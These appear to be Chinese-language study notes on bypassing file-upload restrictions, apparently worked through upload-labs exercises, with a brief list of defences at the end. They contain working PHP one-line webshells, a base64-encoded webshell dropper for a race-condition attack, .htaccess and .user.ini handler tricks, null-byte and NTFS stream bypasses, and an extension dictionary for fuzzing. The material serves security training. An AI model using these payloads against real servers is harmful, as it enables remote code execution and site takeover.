(1)可以直接在开发者工具中删除相关代码:
(2)也可以通过 burpsuite 绕过:
上传时,先提前修改 php 文件的后缀名为 jpg
把文件后缀名改回 php
发送到 repeater 模块(也可以不发送,不发送的话直接 forward),然后可以看到上传的路径:
有时候代码会对 http 类型头进行检测,
$_FILE['file']['type'] // 获取 content-type 的值
如果是图片类型,就允许上传,否则会上传失败,但是这个字段是可以被修改的。
直接上传 php 文件,此时的 content-type 字段的参数为 application/octet-stream,改为图片格式的 image/jpeg
上传成功。
有时候代码会对特定的一些后缀名进行检测拦截
$_FILE['file']['name'] // 通过文件名获取文件后缀名
(1)这时候可以上传一些黑名单外的后缀名,若黑名单中的后缀名是 php、asp、aspx、jsp ,那这个时候我们可以上传 asa、cer、cdx
(2)若网站里允许 .net 执行,可以上传 ashx 代替 aspx
(3)不同的中间件的处理不同,如果在 apache 中开启了 application/x-httpd-php ,然后添加指令:
AddType application/x-httpd-php .php .phtml .php3
这时候后缀名为 phtml、php3 的文件均会被解析为 php,这时候直接上传 phtml 和 php3 即可
注意:.htaccess 和 httpd.conf 都是 apache 的配置文件,但是不同的是 .htaccess 作用域小,只作用于特定的网站,存在于网站目录内,修改后立即生效。而 httpd.conf 则是存在于 apache 配置目录中,作用于全局,修改后需要重启服务器。
(1)apache 会自动扫描目录并识别 .htaccess
文件,若存在会自动读取其中的配置指令,并根据这些指令来处理请求。
(2)查看在 apache 的配置文件 httpd.conf 中查看是否开启了 rewrite 模块:
(3)查看 httpd.conf 的 allowoverride 的值
若为 none 代表不允许 .htaccess 文件覆盖任何配置选项。
(3)编写 .htaccess 文件:
- <FilesMatch "jpg">
- SetHandler application/x-httpd-php
- </FilesMatch>
指令:
是一个用于匹配文件的 Apache 配置指令。它允许你指定一些规则来匹配文件名,并在匹配成功时应用指定的配置。
"jpg"
:这是一个正则表达式模式,它指定了要匹配的文件名模式。在这里,它匹配以 ".jpg" 结尾的文件名。
SetHandler application/x-httpd-php
:这是配置的一部分,它告诉 Apache 在匹配的文件上设置处理程序为 application/x-httpd-php
。这意味着当访问以 ".jpg" 结尾的文件时,Apache 将把它们视为 PHP 脚本,并将它们交给 PHP 解释器进行处理。
(4)上传 .htaccess 文件
(5)上传编写 php 脚本后改后缀名为 jpg 的文件,此时 jpg 文件就会被当作 php 文件读取
注意:
.user.ini
:主要用于自定义用户的 PHP 运行环境,例如修改内存限制、执行时间限制、错误报告级别等。.htaccess
:主要用于配置 Apache Web 服务器的行为,包括 URL 重写、访问控制、错误页面、缓存控制等。(1)php 会自动识别并扫描.user.ini
,文件中的设置会覆盖全局 php.ini
中的设置,但不能覆盖在服务器配置中明确禁用的设置,修改后也是立即生效(php.ini 修改后需要重启服务才能生效)
(2)想触发 .user.ini 需要满足三个条件:
- a、服务器脚本语言为PHP
-
- b、服务器使用CGI/FastCGI模式(可以通过 http 请求头查看,也可以通过 phpinfo 查看)
-
- c、上传目录下要有可执行的php文件
-
- d、php.ini 中的 user_ini.filename = ".user.ini" 字段没有被注释
-
- 6、php.ini 中的 user_ini.cache_ttl = 10 字段可以设置的小一些,默认是为 300
(3)上传 .user.ini 文件:包含 555.jpg 文件
auto_prepend_file=555.jpg
(4)上传 555.jpg 文件:
(5)访问目录中的可被解析的 php 文件:
此时 555.jpg 的 php 代码会在 php 文件执行前被执行(注意:作文件包含时,包含的文件中的内容会被作为 php 代码执行)
(1)若文件后缀验证的代码在上传时,是对文件名进行拼接,就可以用点空格点进行绕过
(2)若文件后缀验证的代码在上传时,是对文件后缀进行拼接,就无法用点空格点进行绕过
(1)上传 .php 文件
(2)burpsuite 抓包修改后缀为 .PhP ,此时实现绕过
(1)若文件上传的过滤机制中没有对空格符进行删除,可以进行添加空格绕过:
(2)此时被解析的后缀名是 .php ,不在黑名单中
- ::$DATA 额外数据流
- 比如有文件 1.txt ,内容是 chun ,然后我使用指令 echo "chunchun" >> 1.txt,
- 那么 1.txt 的内容就会变成 chunchunchun ,若是我使用指令 echo "chunchun" >> 1.txt:chunchun,
- 那么 1.txt 的内容将不会发生改变,此时 1.txt:chunchun 的内容变为 chunchun(1.txt:chunchun 这个文件的内容使用 notepad 1.txt:chunchun 来进行查看)
- 而 php 不会验证额外数据流
- 自定义额外数据流时是一个:自定义名
- 若是 ::$DATA 表示的是文件本身,但是可以绕过php验证,让它认为这是一个额外数据流
(1)Burpsuite抓包添加后缀名末尾添加 ::$DATA 实现绕过
(1)若代码中有吧关键字替换为空的情况,直接双写绕过
(2).phtmlhp 或 .pphphp 进行绕过
在 url 中,若是有 %00,会被当作空字符,然后起截断的作用,其实就是注释的作用
现有 php 代码:
- $id = $_GET['id'];
- if(isset($_GET['id'])){
- echo $id.PHP_EOL;
- if($id==1){
- echo "%00起作用了!";
-
- }else{
- echo "%00没有起作用!";
- }
-
- }else{
- echo '没有设置 id 参数!';
- }
- ?>
输入 payload: ?id=1%0023
(1)绕过白名单:
(2) 上传路径可控把 save_path 参数改为 ../upload/chunchun.php%00
(3)访问路径中删除关于 jpg 文件的多余字符
即可直接访问
(3)若可控的路径参数是通过 post 方法获取的,那么 post 参数后添加空格,空格的 ascii 码是 20,把它变成 00 ,然后转成16进制数,或者把 %00 进行 url 解码,两种构造方式都可以进行绕过。(注:%00 在 Post 参数中不起作用,因为 post 直接通过 http 头进行提交,不经过 url 解码,网站不知道它的意思,而 get 参数中的 url 编码在上传后会进行解码,解码为空白符后起作用)
特别注意:php 版本小于 5.3.4 才可实现
常见图片格式:
- jpeg/jfif(常见图片格式) 前两个字节为 0XFF 0XD8
- png(无损压缩格式) 头两个字节为 0X89 0X50
- gif(动画图像格式) 头两个字节为 0X47 0X49
- bmp(Windows位图格式) 头两个字节为 0X42 0X4D
- tiff(标签图像文件格式) 头两个字节不一定
通过此方法检验图片上传格式的 php 代码:
- function getReailFileType($filename){
- $file = fopen($filename, "rb"); //以二进制方式打开
- $bin = fread($file, 2); //只读2字节
- fclose($file);
- $strInfo = @unpack("C2chars", $bin); //对二进制数据进行解包,只解析两个字节每个字节都解析为//一个无符号字符(C表示无符号字符)。解包后的结果将存储在关联数组中,数组的键是 "chars"
- $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //前两个字节取整数,然后连接起来
- $fileType = '';
- switch($typeCode){ // 此时判断的值为10进制
- case 255216:
- $fileType = 'jpg';
- break;
- case 13780:
- $fileType = 'png';
- break;
- case 7173:
- $fileType = 'gif';
- break;
- default:
- $fileType = 'unknown';
- }
- return $fileType;
- }
文件包含:
- include(与 require 的区别,include 文件不存在会发出警告,但是脚本会继续执行
- require 文件不存在就报错,然后脚本也停止运行) 作文件包含时,任何包含的文件都会当作 php 代码执行
eg:
实际操作:
绕过(1)编辑 .php 文件,然后打开 010editor 进行前两个字节的替换
绕过(2)使用 copy 来制作图片马
绕过(3)二次渲染绕过(多数情况使用 gif 绕过)
方法一、比较渲染前后的图片,在没有变化的数据区插入一句话木马
方法二、同一张图片只会被渲染一次,可以在渲染第二次后的图片中插入一句话木马
前提,文件短暂的在后端服务器上存在过。
使用 burpsuite 反复上传 test.php 文件:
- fputs(fopen('cc.php','w'),'')
- ?>
-
- 或
-
- $a = "PD9waHAgQGV2YWwoJF9QT1NUWydjYyddKTs/Pg==";
- $myfile = fopen('cc.php', 'w');
- fwrite($myfile,base64_decode($a));
- fclose($myfile);
- ?>
因为文件一生成就会被删除,所以我们也需要一直进行访问,访问到之后就会执行里面的 php 代码
(1)使用 burpsuite 来一直访问
抓一个访问上传的 test.php 文件的包,然后一直发送请求
(2)使用 Python 脚本来一直访问
- import requests
- url = "http://localhost:820/upload/cc.php"
- while True:
- html = requests.get(url)
- if html.status_code == 200:
- print("访问成功")
- break
- else:
- print("访问失败")
payloads:
1.php\.
eg:upload-labs Less-21
(1)第一处过滤:抓包修改 Content-Type 绕过
(2) 第二处过滤,上传数组绕过
(3) 实际操作:
(4)原理说明:
假设有如下代码:
- $a[0] = 1;
- $a[8] = 11;
- echo count($a);
- echo $a[1];
- ?>
输出为:2 和 空,在上述代码中 count($file) 这时候获取到的是 1 ,而这时候的 $file[1] 为空,再加上检测的是最后一位 $file[8] 是 jpg,所以文件的后缀名最后为 1.php. 而系统会自动删除末尾的.,从而导致 1.php 上传成功
1、图片马的制作方法:
(1)在一句话木马的代码中加入:GIF89a 然后改后缀名为jpg 或 png 等
- GIF89a
- @eval($_POST['chunchun']);?>
(2)使用 cmd 的 copy 指令进行制作
copy 111.jpg/b + 222.php 333.jpg
(3)直接文本编辑器打开图片进行添加一句话木马
(4)使用 16 进制编辑器 010hex 打开图片,然后添加木马,或是在 php 脚本的前两个字节直接添加图片格式的16进制字符:
2、函数
(1)strrchr(str1,str2) 函数:
str1 是原字符串,str2 是要搜索的字符串,返回 str2 本身加上其之后的字符串
(2)strrpos(str1,str2) 函数:
str1 是原字符串,str2 是要搜索的字符串,返回 str2 在 str1 中的位置
- $str1 = "ichun";
- $str2 = "h";
- echo strrpos($str1,$str2);
- ?>
-
- // 输出为2
3、后缀绕过总结:
(1)加点
(2)加空格
(3)加反斜杠
(4)加空白符
(5)加 ::DATA
4、特殊机制绕过:
(1)apache 有时识别不了后缀名的话会向前识别,比如 1.php.7z ,他识别不了 .7z 的后缀,所以会向前识别 .php ,也就是把 1.php.7z 当作 1.php 来识别并解析;
(2)window 解析绕过:
2.1 上传 3.jpg ,抓包后改为 3.php:.jpg,发送后 upload 目录多出一个 3.php 的空文件
此时再在 3. 后面加上 < 或 > 来进行文件的写入,然后就可以访问了
2.2 在使用 ::DATA 进行绕过时, 若是使用 :$DATA 时,也只会上传一个空文件,此时也可以先上传空文件:
然后进行文件写入:
注意:这个原理有点类似正则表达式匹配,
- " 等于 .
- > 等于 ?
- < 等于 *
面对黑名单过滤才有用(因为上传的 3.<<< 基本不会被拦截,但是如果是白名单过滤,3.<<< 就上传不成功了)然后文件不能被重命名(上传后进行过重命名的文件,在第二次进行写入上传时,文件又会被重命名,因此无法匹配到原先上传的文件导致无法上传成功)
5、中间件解析漏洞:
(1)iis 6.0 上传 1.php;jpg 会解析为 1.php
(2)apache 上传 1.php.xxx ,apache 解析不了 xxx 的话,也会解析为 1.php
(3)nginx 0.83 /1.jpg%00php apahce 1x 或者 2x 当 apache 遇见不认识的后缀名,会从后向前解析例如 1.php.rar 不认识 rar 就向 前解析,直到知道它认识的后缀名。
(4)phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成 php。 (5)Apache HTTPD 换行解析漏洞(CVE-2017-15715) apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞, 在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的 安全策略。
6、总结:
(1)判断是否为黑白名单,如果是白名单 寻找可控参数。如果是黑名单禁止上传, 可以用有危害的后缀名批量提交测试,寻找遗留的执行脚本。
- 使用 burpsuite 抓包上传将后缀名设置成变量,把这些文件设置成一个字典批量提交
- .php
- .php5
- .php4
- .php3
- .php2
- .html
- .htm
- .phtml
- .pht
- .pHp
- .phP
- .pHp5
- .pHp4
- .pHp3
- .pHp2
- .Html
- .Htm
- .pHtml
- .jsp
- .jspa
- .jspx
- .jsw
- .jsv
- .jspf
- .jtml
- .jSp
- .jSpx
- .jSpa
- .jSw
- .jSv
- .jSpf
- .jHtml
- .asp
- .aspx
- .asa
- .asax
- .ascx
- .ashx
- .asmx
- .cer
- .aSp
- .aSpx
- .aSa
- .aSax
- .aScx
- .aShx
- .aSmx
- .cEr
- .sWf
- .swf
- .htaccess
(2)防御方法:
2.1 服务器端使用白名单防御,限制后缀名一定要设置图片格式 jpg、gif 、png
2.2 修复 web 中间件的漏洞
2.3 禁止客户端存在可控参数
2.4 存放文件目录禁止脚本执行
2.5 文件名设置随机